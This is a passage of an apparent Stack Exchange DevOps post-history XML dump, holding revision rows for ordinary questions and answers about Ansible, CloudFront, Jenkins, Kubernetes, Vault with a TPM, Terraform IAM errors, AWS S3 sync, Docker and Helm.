4.0" />
  <row Id="24779" PostHistoryTypeId="1" PostId="8497" RevisionGUID="963a9b4e-b5f6-4aa6-a948-90a7d1f1f825" CreationDate="2019-06-28T18:30:56.997" UserId="15732" Text="Ansible: Exclude a parameter if variable is not set" ContentLicense="CC BY-SA 4.0" />
  <row Id="24780" PostHistoryTypeId="3" PostId="8497" RevisionGUID="963a9b4e-b5f6-4aa6-a948-90a7d1f1f825" CreationDate="2019-06-28T18:30:56.997" UserId="15732" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24781" PostHistoryTypeId="2" PostId="8498" RevisionGUID="a409b9d9-262f-4511-a771-ff830e22f970" CreationDate="2019-06-28T18:38:02.837" UserId="7715" Text="&quot;`In the event that variable item.ppsize is not set I want to exclude that entire parameter from being included.`&quot;&#xD;&#xA;&#xD;&#xA;&gt; Use the default filter to [omit](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#omitting-parameters) module parameters using the special *omit* variable&#xD;&#xA;&#xD;&#xA;    pp_size: &quot;{{ item.ppsize|default(omit) }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24782" PostHistoryTypeId="5" PostId="8498" RevisionGUID="95ad9f27-3c9e-4560-a74e-9a4d050563b4" CreationDate="2019-06-28T18:44:57.730" UserId="7715" Comment="added 2 characters in body" Text="&quot;*`In the event that variable item.ppsize is not set I want to exclude that entire parameter from being included.`*&quot;&#xD;&#xA;&#xD;&#xA;&gt; Use the default filter to [omit](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#omitting-parameters) module parameters using the special *omit* variable&#xD;&#xA;&#xD;&#xA;    pp_size: &quot;{{ item.ppsize|default(omit) }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24785" PostHistoryTypeId="2" PostId="8499" RevisionGUID="79a2d41f-99f1-4dfe-b06a-20153895eeb5" CreationDate="2019-06-29T07:57:18.537" UserId="15739" Text="the best way I think is to create a var  yml file and include it in your ansible-books:&#xD;&#xA;&#xD;&#xA;        - name: Include vars of stuff.yaml into the 'stuff' variable (2.2).&#xD;&#xA;          include_vars:&#xD;&#xA;            file: stuff.yaml&#xD;&#xA;            name: stuff&#xD;&#xA;&#xD;&#xA;see [include_vars_module][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/include_vars_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="24786" PostHistoryTypeId="50" PostId="6122" RevisionGUID="22b010e3-9504-40a3-8ae2-273ee0940c4a" CreationDate="2019-06-29T09:02:25.357" UserId="-1" />
  <row Id="24787" PostHistoryTypeId="50" PostId="8258" RevisionGUID="81e15326-1b11-472e-9296-313d31284c0e" CreationDate="2019-06-29T13:01:40.180" UserId="-1" />
  <row Id="24788" PostHistoryTypeId="50" PostId="8254" RevisionGUID="cd506fd9-2e6b-43ca-a791-8c427eda3262" CreationDate="2019-06-29T14:03:05.423" UserId="-1" />
  <row Id="24789" PostHistoryTypeId="50" PostId="6108" RevisionGUID="761bb7af-846a-45c6-82e1-f6c39122a611" CreationDate="2019-06-29T18:01:35.193" UserId="-1" />
  <row Id="24790" PostHistoryTypeId="2" PostId="8500" RevisionGUID="68631cdf-f392-4c3e-a04e-34048233a67a" CreationDate="2019-06-29T20:30:47.800" UserId="4369" Text="CloudFront does not actually have this feature. You can redirect the root object `https://www.example.com/` to `https://www.example.com/index.html` by setting `DefaultRootObject`, but there's nothing for subdirectories such as `https://www.example.com/posts/`.&#xD;&#xA;&#xD;&#xA;However, you can run arbitrary code on CloudFront using Lambda@Edge, so it's possible for us to add this feature ourselves. With the &quot;origin request&quot; trigger we can rewrite the request to S3, changing `/posts/` to `/posts/index.html`. https://github.com/CloudUnder/lambda-edge-nice-urls has some good handling of paths that works well with Hugo.&#xD;&#xA;&#xD;&#xA;Another option is to enable `uglyurls` in your config so that all links within you site have `index.html` hardcoded in to them." ContentLicense="CC BY-SA 4.0" />
  <row Id="24791" PostHistoryTypeId="50" PostId="8273" RevisionGUID="b02175ab-ef0c-41c3-98fb-ae8be9aa0895" CreationDate="2019-06-29T22:02:05.420" UserId="-1" />
  <row Id="24792" PostHistoryTypeId="50" PostId="8259" RevisionGUID="7a7f654a-0303-4931-ae8d-6cd82cae0aac" CreationDate="2019-06-30T08:01:20.190" UserId="-1" />
  <row Id="24793" PostHistoryTypeId="2" PostId="8501" RevisionGUID="43f814ce-1b06-4056-a90b-7b64c7725d3d" CreationDate="2019-06-30T10:18:35.037" UserId="354" Text="This looks like you are trying to solve a problem (how express a desired state using appropriate OS-specific strategies), but selecting the &quot;wrong&quot; approach.&#xD;&#xA;&#xD;&#xA;I would suggest that instead of maintaining separate playbooks (one for Windows, one for Debian, _etc_), you should write an OS-independent [role](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). The role will use facts from the target machines to apply the relevant configuration. This can be done in a few ways :&#xD;&#xA;&#xD;&#xA;1. Set OS-specific variables and include them in the tasks using a `include_vars: &quot;{{ ansible_os_family }}.yml&quot;` which will pick up a `Debian.yml` set of vars _e.g._. You could then write `when` conditions on tasks to execute OS-specific tasks&#xD;&#xA;2. Write OS-specific tasks to be included in the `tasks/main.yml` _e.g._ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# tasks/main.yml&#xD;&#xA;- import_tasks: &quot;{{ ansible_os_family }}.yml&quot;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will afford you some benefits:&#xD;&#xA;&#xD;&#xA;1. You will be able to test the role independently for different scenarios (using [molecule](https://molecule.readthedocs.org) _e.g._&#xD;&#xA;1. You will be able to maintain the configuration (vars, tasks, etc) independently in separate files for respective OS's.&#xD;&#xA;1. You won't have to maintain two separate playbooks&#xD;&#xA;1. Your role will be easier to re-use&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See [writing re-usable playbooks](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse.html) on the Ansible documentation." ContentLicense="CC BY-SA 4.0" />
  <row Id="24794" PostHistoryTypeId="2" PostId="8502" RevisionGUID="bb95f83b-1ad7-45af-b053-e2c1c85d3bb7" CreationDate="2019-06-30T10:56:08.590" UserId="15749" Text="I've written [snapshots.py][1] script which iterates over all snapshots (in defined list of regions) and generates `report.csv`. This file contains information about instance, AMI and volume referenced by all snapshots.&#xD;&#xA;&#xD;&#xA;There is also command to interactively remove dangling snapshots.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/Eyjafjallajokull/4e917414cfb191391f9e51f6a8c3e46a" ContentLicense="CC BY-SA 4.0" />
  <row Id="24799" PostHistoryTypeId="50" PostId="6146" RevisionGUID="fd66428f-0e7b-45c3-b0ea-017a7af7e91e" CreationDate="2019-06-30T20:00:50.477" UserId="-1" />
  <row Id="24800" PostHistoryTypeId="2" PostId="8504" RevisionGUID="89db0b8c-2712-4a72-89cc-c36527c0a543" CreationDate="2019-06-30T21:54:11.720" UserId="4115" Text="As implied by the links in comments, for better or for worse, this behavior is an unavoidable consequence of how Pipeline is designed.  Pipeline configuration changes in your Jenkinsfile cannot be picked up by Jenkins without executing your Pipeline.  This includes things such as adding parameters.&#xD;&#xA;&#xD;&#xA;My personal advice is to ensure that your Pipeline jobs are non-destructive, or in other words, to ensure that the worst thing that could possibly happen by running a job is nothing.  This allows you to pick up configuration changes by just running your job after committing the changes to your Jenkinsfile, and then you can simply abort the job (or let it run to completion if it's a short job) with the confidence that you won't break anything.  Then subsequent runs will have your configuration changes available." ContentLicense="CC BY-SA 4.0" />
  <row Id="24801" PostHistoryTypeId="2" PostId="8505" RevisionGUID="5f30840b-b583-410c-ab72-93a515b79896" CreationDate="2019-06-30T22:03:16.030" UserId="4115" Text="Your string isn't being interpolated at the correct time because it's in single quotes.  Instead it's being passed to the checkout method as an un-interpolated string.  By the time the checkout method interpolates the string, the `perf` variable is out of scope and so interpretation of this variable falls back to a blank string.  Something like this is what you (probably) want instead:&#xD;&#xA;&#xD;&#xA;    view: &quot;\&quot;//depot/Software/${perf[i].ID}/...\&quot;&quot; + '//jenkins-${NODE_NAME}-${JOB_NAME}-${EXECUTOR_NUMBER}/...'&#xD;&#xA;&#xD;&#xA;Note how this concatenates two strings, a double-quoted string and a single-quoted string.  This ensures that each string gets interpolated at different times." ContentLicense="CC BY-SA 4.0" />
  <row Id="24802" PostHistoryTypeId="50" PostId="3932" RevisionGUID="74b66916-d554-4461-b137-e963aed03eaa" CreationDate="2019-07-01T00:01:50.183" UserId="-1" />
  <row Id="24803" PostHistoryTypeId="2" PostId="8506" RevisionGUID="534ba06b-3669-4270-88a3-cf517a8b4ac1" CreationDate="2019-07-01T07:05:30.833" UserId="4907" Text="Supplementary to @Levi's answer I would also advise you to consider where you plan to test changes to your Kubernetes cluster (any change that can impact how your cluster operates). To satisfy this and provide another alternative to the mix, you could operates 2 clusters. One for your non-prod environment (dev, test and acc) and one for the prod environment. This has the added benefit of protecting your production cluster from getting clobbered from non production workloads." ContentLicense="CC BY-SA 4.0" />
  <row Id="24805" PostHistoryTypeId="5" PostId="8506" RevisionGUID="d80ee020-03e6-4403-a26b-6021a155a64a" CreationDate="2019-07-01T08:39:07.397" UserId="4907" Comment="Add an example" Text="Supplementary to @Levi's answer I would also advise you to consider where you plan to test changes to your Kubernetes cluster (any change that can impact how your cluster operates e.g: lifecycle). To satisfy this and provide another alternative to the mix, you could operates 2 clusters. One for your non-prod environment (dev, test and acc) and one for the prod environment. This has the added benefit of protecting your production cluster from getting clobbered from non production workloads." ContentLicense="CC BY-SA 4.0" />
  <row Id="24809" PostHistoryTypeId="50" PostId="6163" RevisionGUID="ad6e6f6e-2e2d-4a0f-bc90-1195fee117b7" CreationDate="2019-07-01T09:01:50.223" UserId="-1" />
  <row Id="24810" PostHistoryTypeId="2" PostId="8508" RevisionGUID="36132f28-5164-4379-8cc7-86979e5a7b35" CreationDate="2019-07-01T11:03:02.550" UserId="15759" Text="The `--cluster-cidr` / `--pod-network-cidr` is fed to `kube-controller-manager` config.&#xD;&#xA;&#xD;&#xA;You can simply do `ps -ef | grep &quot;cluster-cidr&quot;` to get what you want." ContentLicense="CC BY-SA 4.0" />
  <row Id="24811" PostHistoryTypeId="2" PostId="8509" RevisionGUID="b206be37-2b8e-41fb-9870-6ca5b0a87c8d" CreationDate="2019-07-01T12:51:43.740" UserId="10201" Text="I want to implement Vault as part of the DevOps build pipeline to store all the secrets like passwords and certificates. I understand that Vault keeps the data encrypted but **I have been asked me to look for a way to store the Vault's data in TPM as &quot;it would be more secure and temper-protected&quot;. First off, is this argument valid?**&#xD;&#xA;&#xD;&#xA;I read the Hashicorp's [Vault Storage Documentation][1] and it does not directly support any storage over TPM but if I could mount TPM on the container then I could probably use `filesystem` storage to store data inside it.&#xD;&#xA;&#xD;&#xA;So, is it possible to mount the host system's Trusted Platform Module (TPM) onto a docker container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/docs/configuration/storage/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="24812" PostHistoryTypeId="1" PostId="8509" RevisionGUID="b206be37-2b8e-41fb-9870-6ca5b0a87c8d" CreationDate="2019-07-01T12:51:43.740" UserId="10201" Text="Accessing TPM from inside a Docker Container" ContentLicense="CC BY-SA 4.0" />
  <row Id="24813" PostHistoryTypeId="3" PostId="8509" RevisionGUID="b206be37-2b8e-41fb-9870-6ca5b0a87c8d" CreationDate="2019-07-01T12:51:43.740" UserId="10201" Text="&lt;docker&gt;&lt;containers&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24815" PostHistoryTypeId="5" PostId="8509" RevisionGUID="eeb7b4f8-65b5-49b2-ba0b-5b722c41a8d9" CreationDate="2019-07-01T13:56:41.643" UserId="10201" Comment="added 115 characters in body" Text="I want to implement Vault as part of the DevOps build pipeline to store all the secrets like passwords and certificates. I understand that Vault keeps the data encrypted but **I have been asked me to look for a way to store the Vault's data in TPM as &quot;it would be more secure and temper-protected&quot;. First off, is this argument valid?** Vault already stores the encrypted data so is this additional layer of encryption really needed?&#xD;&#xA;&#xD;&#xA;I read the Hashicorp's [Vault Storage Documentation][1] and it does not directly support any storage over TPM but if I could mount TPM on the container then I could probably use `filesystem` storage to store data inside it.&#xD;&#xA;&#xD;&#xA;So, is it possible to mount the host system's Trusted Platform Module (TPM) onto a docker container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/docs/configuration/storage/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="24816" PostHistoryTypeId="50" PostId="5552" RevisionGUID="ebabbed8-6059-4946-a18d-5cf6fffe9f25" CreationDate="2019-07-01T15:02:30.357" UserId="-1" />
  <row Id="24820" PostHistoryTypeId="2" PostId="8511" RevisionGUID="fd170d0b-a6ed-4ece-944b-d8cc2935b1e9" CreationDate="2019-07-01T19:14:51.167" UserId="15770" Text="Looking for a tool that will manage the versioning of Azure SQL Databases, and check for missing schema or migration scripts and apply those changes based on what is missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any other solutions or tips would be great. I just want to make sure the database schema is flat across the board regardless, and apply changes based on version number." ContentLicense="CC BY-SA 4.0" />
  <row Id="24821" PostHistoryTypeId="1" PostId="8511" RevisionGUID="fd170d0b-a6ed-4ece-944b-d8cc2935b1e9" CreationDate="2019-07-01T19:14:51.167" UserId="15770" Text="Azure SQL Server Configuration Management" ContentLicense="CC BY-SA 4.0" />
  <row Id="24822" PostHistoryTypeId="3" PostId="8511" RevisionGUID="fd170d0b-a6ed-4ece-944b-d8cc2935b1e9" CreationDate="2019-07-01T19:14:51.167" UserId="15770" Text="&lt;ansible&gt;&lt;chef&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24823" PostHistoryTypeId="2" PostId="8512" RevisionGUID="1966b5ad-3425-420b-b94e-663f45ac527d" CreationDate="2019-07-01T21:31:50.933" UserId="397" Text="I'm trying to create a GCE Instance Group Manager using terraform&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;resource &quot;google_compute_region_instance_group_manager&quot; &quot;frontend_group_manager&quot; {&#xD;&#xA;  name = &quot;frontend-igm&quot;&#xD;&#xA;&#xD;&#xA;  base_instance_name = &quot;frontend&quot;&#xD;&#xA;  instance_template  = &quot;${google_compute_instance_template.frontend_instance_template.self_link}&quot;&#xD;&#xA;  region             = &quot;${var.region}&quot;&#xD;&#xA;&#xD;&#xA;  depends_on = [ &quot;google_compute_instance_template.frontend_instance_template&quot; ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I try I get the following error:&#xD;&#xA;&#xD;&#xA;&gt; Error: Error waiting for Creating InstanceGroupManager: The user does not have access to service account 'One of [serviceAccount:frontend@vpc-challenge-lab-245114.iam.gserviceaccount.com]'.  User: 'terraform@vpc-challenge-lab-245114.iam.gserviceaccount.com'.  Ask a project owner to grant you the iam.serviceAccountUser role on the service account&#xD;&#xA;&#xD;&#xA;When I validate the IAM policy on the account it appears to be configured correctly:&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;&gt; gcloud iam service-accounts get-iam-policy frontend@vpc-challenge-lab-245114.iam.gserviceaccount.com&#xD;&#xA;bindings:&#xD;&#xA;- members:&#xD;&#xA;  - serviceAccount:terraform@vpc-challenge-lab-245114.iam.gserviceaccount.com&#xD;&#xA;  role: roles/iam.serviceAccountUser&#xD;&#xA;etag: BwWMpQvtA3w=&#xD;&#xA;version: 1                                        &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The template is configured as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;google_compute_instance_template&quot; &quot;frontend_instance_template&quot; {&#xD;&#xA;  name = &quot;frontend-template&quot;&#xD;&#xA;&#xD;&#xA;  instance_description = &quot;Frontend Instances&quot;&#xD;&#xA;  machine_type         = &quot;f1-micro&quot;&#xD;&#xA;  can_ip_forward       = false&#xD;&#xA;&#xD;&#xA;  scheduling {&#xD;&#xA;    automatic_restart   = true&#xD;&#xA;    on_host_maintenance = &quot;MIGRATE&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  disk {&#xD;&#xA;    source_image = &quot;${data.google_compute_image.compute_image.self_link}&quot;&#xD;&#xA;    auto_delete  = true&#xD;&#xA;    boot         = true&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  network_interface {&#xD;&#xA;    network = &quot;${google_compute_network.frontend_network.name}&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  service_account {&#xD;&#xA;    email  = &quot;serviceAccount:${google_service_account.frontend_service_account.email}&quot;&#xD;&#xA;    scopes = [&quot;default&quot;]&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    &quot;google_compute_network.frontend_network&quot;,&#xD;&#xA;    &quot;google_service_account_iam_member.frontend_service_account_permission&quot;,&#xD;&#xA;    &quot;google_project_iam_member.frontend_service_account_role_binding&quot;&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the Service Account is configured as follows:&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;resource &quot;google_service_account&quot; &quot;frontend_service_account&quot; {&#xD;&#xA;  account_id   = &quot;frontend&quot;&#xD;&#xA;  display_name = &quot;Frontend Service&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;google_service_account_iam_member&quot; &quot;frontend_service_account_permission&quot; {&#xD;&#xA;  service_account_id = &quot;${google_service_account.frontend_service_account.name}&quot;&#xD;&#xA;  role               = &quot;roles/iam.serviceAccountUser&quot;&#xD;&#xA;  member             = &quot;serviceAccount:${data.google_service_account.terraform.email}&quot;&#xD;&#xA;&#xD;&#xA;  depends_on = [&quot;google_service_account.frontend_service_account&quot;]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;google_project_iam_member&quot; &quot;frontend_service_account_role_binding&quot; {&#xD;&#xA;  role   = &quot;projects/${data.google_project.project.project_id}/roles/${google_project_iam_custom_role.base_compute_role.role_id}&quot;&#xD;&#xA;  member = &quot;serviceAccount:${google_service_account.frontend_service_account.email}&quot;&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    &quot;data.google_project.project&quot;,&#xD;&#xA;    &quot;google_project_iam_custom_role.base_compute_role&quot;,&#xD;&#xA;    &quot;google_service_account.frontend_service_account&quot;&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Finally, the custom role is as follows:&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;resource &quot;google_project_iam_custom_role&quot; &quot;base_compute_role&quot; {&#xD;&#xA;  role_id = &quot;base_compute_role&quot;&#xD;&#xA;  title   = &quot;Base Compute Role&quot;&#xD;&#xA;  permissions = [&#xD;&#xA;    &quot;logging.logEntries.create&quot;,&#xD;&#xA;    &quot;monitoring.metricDescriptors.create&quot;,&#xD;&#xA;    &quot;monitoring.metricDescriptors.get&quot;,&#xD;&#xA;    &quot;monitoring.metricDescriptors.list&quot;,&#xD;&#xA;    &quot;monitoring.monitoredResourceDescriptors.get&quot;,&#xD;&#xA;    &quot;monitoring.monitoredResourceDescriptors.list&quot;,&#xD;&#xA;    &quot;monitoring.timeSeries.create&quot;&#xD;&#xA;  ]&#xD;&#xA;&#xD;&#xA;  depends_on = [&quot;google_project_service.iam&quot;]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Why when everything appears to be in place does that error keep getting thrown by the GCE API." ContentLicense="CC BY-SA 4.0" />
  <row Id="24824" PostHistoryTypeId="1" PostId="8512" RevisionGUID="1966b5ad-3425-420b-b94e-663f45ac527d" CreationDate="2019-07-01T21:31:50.933" UserId="397" Text="Service account permissions error when provisioning instance group from template" ContentLicense="CC BY-SA 4.0" />
  <row Id="24825" PostHistoryTypeId="3" PostId="8512" RevisionGUID="1966b5ad-3425-420b-b94e-663f45ac527d" CreationDate="2019-07-01T21:31:50.933" UserId="397" Text="&lt;terraform&gt;&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24831" PostHistoryTypeId="2" PostId="8514" RevisionGUID="092d5692-ae9d-4419-9593-e47b6ba5d379" CreationDate="2019-07-02T02:30:28.817" UserId="15774" Text="I'm trying to use 'aws s3 sync' on the awscli between two accounts. &#xD;&#xA;&#xD;&#xA;Account A, I own.&#xD;&#xA;Account B, Owned by a third party. &#xD;&#xA;&#xD;&#xA;Account B has given a user:jon on account A permission to a bucket through a role:assumeDevOps assumption. &#xD;&#xA;&#xD;&#xA;Jon assumes assumeDevOps to access bucket on Account B. But now I have to sync to a bucket back on account A. &#xD;&#xA;&#xD;&#xA;I'm getting an access denied. Possibly because that role that Jon assumed has no permissions to the bucket back on my account.&#xD;&#xA;&#xD;&#xA;How do I do this?&#xD;&#xA;&#xD;&#xA;Is there documentation on this kind of situation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24832" PostHistoryTypeId="1" PostId="8514" RevisionGUID="092d5692-ae9d-4419-9593-e47b6ba5d379" CreationDate="2019-07-02T02:30:28.817" UserId="15774" Text="How can I 'aws s3 sync' two buckets, which are located in different accounts" ContentLicense="CC BY-SA 4.0" />
  <row Id="24833" PostHistoryTypeId="3" PostId="8514" RevisionGUID="092d5692-ae9d-4419-9593-e47b6ba5d379" CreationDate="2019-07-02T02:30:28.817" UserId="15774" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-cli&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24846" PostHistoryTypeId="2" PostId="8519" RevisionGUID="4291addf-6eb3-48d8-bc19-1114d3ea8d74" CreationDate="2019-07-02T11:58:12.903" UserId="5910" Text="We are looking at containerizing some of our applications and servers, Redhat servers to be more specific and there is an idea to run Docker on windows instead of Linux so the end user has an easier time operating the system. First though I had was what is the performance difference between using Docker in Windows vs in Linux?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24847" PostHistoryTypeId="1" PostId="8519" RevisionGUID="4291addf-6eb3-48d8-bc19-1114d3ea8d74" CreationDate="2019-07-02T11:58:12.903" UserId="5910" Text="What is the performance different running docker on Windows versus Linux?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24848" PostHistoryTypeId="3" PostId="8519" RevisionGUID="4291addf-6eb3-48d8-bc19-1114d3ea8d74" CreationDate="2019-07-02T11:58:12.903" UserId="5910" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24849" PostHistoryTypeId="2" PostId="8520" RevisionGUID="b916fcd2-a0d4-4e84-9ca8-f08b220a6bc7" CreationDate="2019-07-02T12:15:26.867" UserId="15787" Text="I have a kubernetes cluster built using kubespray and imported to Rancher.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The nodes are configured with CentOS Linux 7 3.10.0-957.12.1.el7.x86_64&#xD;&#xA;&#xD;&#xA;Docker version : 18.9.5&#xD;&#xA;&#xD;&#xA;Kubelet version : v1.14.1&#xD;&#xA;&#xD;&#xA;Tiller version : v2.14.1 ( got this version from the tiller pod's image `gcr.io/kubernetes-helm/tiller:v2.14.1` )&#xD;&#xA;&#xD;&#xA;All the tiller resources are working fine:&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -n kube-system | findstr tiller&#xD;&#xA;    &#xD;&#xA;    pod/tiller-deploy-57ff77d846-frtb7             1/1       Running   0          12d&#xD;&#xA;    &#xD;&#xA;    service/tiller-deploy          ClusterIP   10.233.49.112   &lt;none&gt;        44134/TCP                16d&#xD;&#xA;     &#xD;&#xA;    deployment.apps/tiller-deploy             1         1         1            1           16d&#xD;&#xA;&#xD;&#xA;    replicaset.apps/tiller-deploy-57ff77d846             1         1         1         12d&#xD;&#xA;    replicaset.apps/tiller-deploy-69d5cd79bb             0         0         0         16d&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when I run the helm commands, I am getting this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ helm version&#xD;&#xA;&#xD;&#xA;    Client: &amp;version.Version{SemVer:&quot;v2.11.0&quot;, GitCommit:&quot;2e55dbe1fdb5fdb96b75ff144a339489417b146b&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;    Error: forwarding ports: error upgrading connection: Upgrade request required&#xD;&#xA;    &#xD;&#xA;    $ helm ls&#xD;&#xA;&#xD;&#xA;    Error: forwarding ports: error upgrading connection: Upgrade request required&#xD;&#xA;    &#xD;&#xA;Can someone help me to solve this error?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24850" PostHistoryTypeId="1" PostId="8520" RevisionGUID="b916fcd2-a0d4-4e84-9ca8-f08b220a6bc7" CreationDate="2019-07-02T12:15:26.867" UserId="15787" Text="&quot;Error: forwarding ports: Upgrade request required&quot; Error in helm of a kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="24851" PostHistoryTypeId="3" PostId="8520" RevisionGUID="b916fcd2-a0d4-4e84-9ca8-f08b220a6bc7" CreationDate="2019-07-02T12:15:26.867" UserId="15787" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;rancher&gt;&lt;upgrade&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24852" PostHistoryTypeId="33" PostId="8197" RevisionGUID="581d3d28-99b3-4b92-99d0-202c7b892b09" CreationDate="2019-07-02T12:39:24.280" UserId="3055" Comment="38" />
  <row Id="24853" PostHistoryTypeId="5" PostId="8520" RevisionGUID="8d8b1302-8113-49e7-bcc9-fb44cbb66811" CreationDate="2019-07-02T12:44:28.383" UserId="739" Comment="formatting commands as code" Text="I have a kubernetes cluster built using `kubespray` and imported to Rancher.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The nodes are configured with&#xD;&#xA;&#xD;&#xA;* CentOS Linux 7 3.10.0-957.12.1.el7.x86_64&#xD;&#xA;* Docker version : 18.9.5&#xD;&#xA;* Kubelet version : v1.14.1&#xD;&#xA;* Tiller version : v2.14.1 ( got this version from the tiller pod's image `gcr.io/kubernetes-helm/tiller:v2.14.1` )&#xD;&#xA;&#xD;&#xA;All the tiller resources are working fine:&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -n kube-system | findstr tiller&#xD;&#xA;    &#xD;&#xA;    pod/tiller-deploy-57ff77d846-frtb7             1/1       Running   0          12d&#xD;&#xA;    &#xD;&#xA;    service/tiller-deploy          ClusterIP   10.233.49.112   &lt;none&gt;        44134/TCP                16d&#xD;&#xA;     &#xD;&#xA;    deployment.apps/tiller-deploy             1         1         1            1           16d&#xD;&#xA;&#xD;&#xA;    replicaset.apps/tiller-deploy-57ff77d846             1         1         1         12d&#xD;&#xA;    replicaset.apps/tiller-deploy-69d5cd79bb             0         0         0         16d&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when I run the `helm` commands, I am getting this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ helm version&#xD;&#xA;&#xD;&#xA;    Client: &amp;version.Version{SemVer:&quot;v2.11.0&quot;, GitCommit:&quot;2e55dbe1fdb5fdb96b75ff144a339489417b146b&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;    Error: forwarding ports: error upgrading connection: Upgrade request required&#xD;&#xA;    &#xD;&#xA;    $ helm ls&#xD;&#xA;&#xD;&#xA;    Error: forwarding ports: error upgrading connection: Upgrade request required&#xD;&#xA;    &#xD;&#xA;Can someone help me to solve this error?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24854" PostHistoryTypeId="2" PostId="8521" RevisionGUID="75f70b2d-3a4a-4bcd-9962-8eb9d82bd330" CreationDate="2019-07-02T15:23:35.720" UserId="15792" Text="The performance difference between **linux** containers running on Windows, Linux, or Mac will depend entirely upon how much ram you allocate to the Docker Daemon.  The difference should not be noticeable.  Additionally, you will be able to take advantage of the Alpine base image (~5 Mb) for small, compact containers.&#xD;&#xA;&#xD;&#xA;If you need to run IIS in your container, then you should look at **windows** containers.  The disadvantage is that the containers will be significantly larger in size, and you will lose cross-platform compatibility.  [Docker windows containers][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/products/windows-containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="24858" PostHistoryTypeId="2" PostId="8523" RevisionGUID="9c341a1a-619f-437d-8ffd-d265a3011dff" CreationDate="2019-07-02T18:12:58.067" UserId="13121" Text="My understanding of the variable groups is that you would create this to leverage the same variables across multiple pipelines.  If you needed to update the value, you'd only have to update it on the library instead of updating it on dozens of pipelines.  If you are only going to use the variable group on a single pipeline definition, variables groups appear to be overkill.&#xD;&#xA;&#xD;&#xA;If you have concerns about duplicating code and maintaining the exact same deployment steps across your stages, I would recommend you group them into a task group.  That way you can manage versioned updates and will also have it reflected across all pipelines and stages where it is referenced.&#xD;&#xA;&#xD;&#xA;I think you would have some name resolution issues if you tried to use the different variable groups that have the same name on a single pipeline.  Instead, you should probably leverage the variable scope on the pipeline.  It will grab the appropriate value staged to the scope you are executing.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OQeKk.png" ContentLicense="CC BY-SA 4.0" />
